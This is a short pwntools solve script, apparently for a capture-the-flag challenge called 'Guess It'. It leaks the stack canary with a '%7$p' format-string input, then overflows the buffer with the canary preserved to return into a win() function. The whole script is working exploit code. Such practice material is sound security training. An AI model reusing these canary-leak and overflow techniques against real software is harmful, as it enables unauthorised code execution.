Guess It

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./guess_it_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def find_offset():
    r = process([elf.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()
    r.sendline(b'Yes')
    r.sendline(b'%7$p|\n')
    r.recvuntil(b'What is it?\n> ')
    canary = int(r.recvuntil(b'|', drop=True).decode("ascii"),16)
    win = elf.sym["win"]
    ret = 0x40135c
    offset = (b'i' * 8 + p64(canary)).ljust(0x18, b'i')
    payload = offset + p64(ret) + p64(win)

    r.sendline(payload)
    r.sendline(b'No')
    r.clean()
    r.interactive()


if __name__ == "__main__":
    main()